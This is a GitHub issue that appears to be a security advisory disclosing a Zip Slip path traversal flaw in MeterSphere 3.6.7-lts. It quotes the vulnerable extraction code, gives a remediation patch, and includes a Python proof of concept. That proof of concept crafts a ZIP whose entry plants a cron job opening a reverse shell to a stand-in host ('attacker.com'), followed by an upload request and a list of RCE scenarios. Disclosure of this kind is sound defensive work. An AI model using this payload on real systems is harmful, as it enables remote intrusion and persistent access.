-
Notifications
You must be signed in to change notification settings - Fork 0
MeterSphere 3.6.7-lts - Zip Slip Vulnerability (Path Traversal) #13
Copy link
Copy link
Open
Description
Product
MeterSphere
Vendor
FIT2CLOUD
Vendor Website
GitHub Repository
https://github.com/metersphere/metersphere
Affected Version
3.6.7-lts
Vulnerability Type
Path Traversal (CWE-22)
CVSS Score
7.5 (High)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Description
A Zip Slip vulnerability exists in the MsFileUtils.unZipFile() method. The entry.getName() from the ZIP file is directly used to construct the output file path without any validation. This allows attackers to write files to arbitrary locations outside the intended directory by using path traversal sequences (e.g., ../) in the ZIP entry names.
Vulnerable Code
File: backend/framework/sdk/src/main/java/io/metersphere/sdk/util/MsFileUtils.java
Lines: 98-118
public static File[] unZipFile(File file, String targetPath) {
InputStream input = null;
OutputStream output = null;
try (ZipInputStream zipInput = new ZipInputStream(new FileInputStream(file));
ZipFile zipFile = new ZipFile(file)) {
ZipEntry entry = null;
while ((entry = zipInput.getNextEntry()) != null) {
File outFile = new File(targetPath + File.separator + entry.getName()); // VULNERABLE!
if (!outFile.getParentFile().exists()) {
outFile.getParentFile().mkdir();
}
if (!outFile.exists()) {
outFile.createNewFile();
}
input = zipFile.getInputStream(entry);
output = new FileOutputStream(outFile);
int temp = 0;
while ((temp = input.read()) != -1) {
output.write(temp);
}
}
// ...
}
}Proof of Concept
Step 1: Create malicious ZIP file
#!/usr/bin/env python3
import zipfile
import io
# Create a malicious ZIP file with path traversal
malicious_zip = io.BytesIO()
with zipfile.ZipFile(malicious_zip, 'w') as zf:
# Write file outside target directory
zf.writestr('../../../tmp/pwned.txt', 'This file was written outside the target directory!')
zf.writestr('../../../../etc/cron.d/backdoor', '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')
# Save the malicious ZIP
with open('malicious.zip', 'wb') as f:
f.write(malicious_zip.getvalue())
print("Malicious ZIP created: malicious.zip")Step 2: Upload the malicious ZIP file
POST /project/file/upload HTTP/1.1
Host: target.com
Cookie: session=valid_session
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="project.zip"
Content-Type: application/zip
[malicious ZIP content]
------WebKitFormBoundary--Step 3: Trigger the unzip operation
The malicious files will be written to arbitrary locations when the ZIP is extracted.
Impact
- Arbitrary file write
- Potential remote code execution (if writing to cron.d, .ssh, etc.)
- Configuration file overwrite
- Data corruption
- Denial of service
Attack Scenarios
- RCE via Cron: Write to
/etc/cron.d/to execute arbitrary commands - RCE via SSH: Write to
~/.ssh/authorized_keysfor persistent access - Configuration Overwrite: Overwrite application configuration files
- Webshell Upload: Write JSP/PHP webshell to web application directory
Remediation
public static File[] unZipFile(File file, String targetPath) {
InputStream input = null;
OutputStream output = null;
try (ZipInputStream zipInput = new ZipInputStream(new FileInputStream(file));
ZipFile zipFile = new ZipFile(file)) {
ZipEntry entry = null;
while ((entry = zipInput.getNextEntry()) != null) {
File outFile = new File(targetPath, entry.getName());
// Validate that the output file is within target directory
String canonicalTargetPath = new File(targetPath).getCanonicalPath();
String canonicalOutputPath = outFile.getCanonicalPath();
if (!canonicalOutputPath.startsWith(canonicalTargetPath + File.separator)) {
throw new IOException("Entry is outside of the target directory: " + entry.getName());
}
// Additional check for directory traversal
if (entry.getName().contains("..")) {
throw new IOException("Invalid entry name: " + entry.getName());
}
if (!outFile.getParentFile().exists()) {
outFile.getParentFile().mkdirs();
}
if (!outFile.exists()) {
outFile.createNewFile();
}
input = zipFile.getInputStream(entry);
output = new FileOutputStream(outFile);
int temp = 0;
while ((temp = input.read()) != -1) {
output.write(temp);
}
}
// ...
}
}References
- https://cwe.mitre.org/data/definitions/22.html
- https://snyk.io/research/zip-slip-vulnerability
- https://owasp.org/www-community/attacks/Path_Traversal
Credit
Security Researcher
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels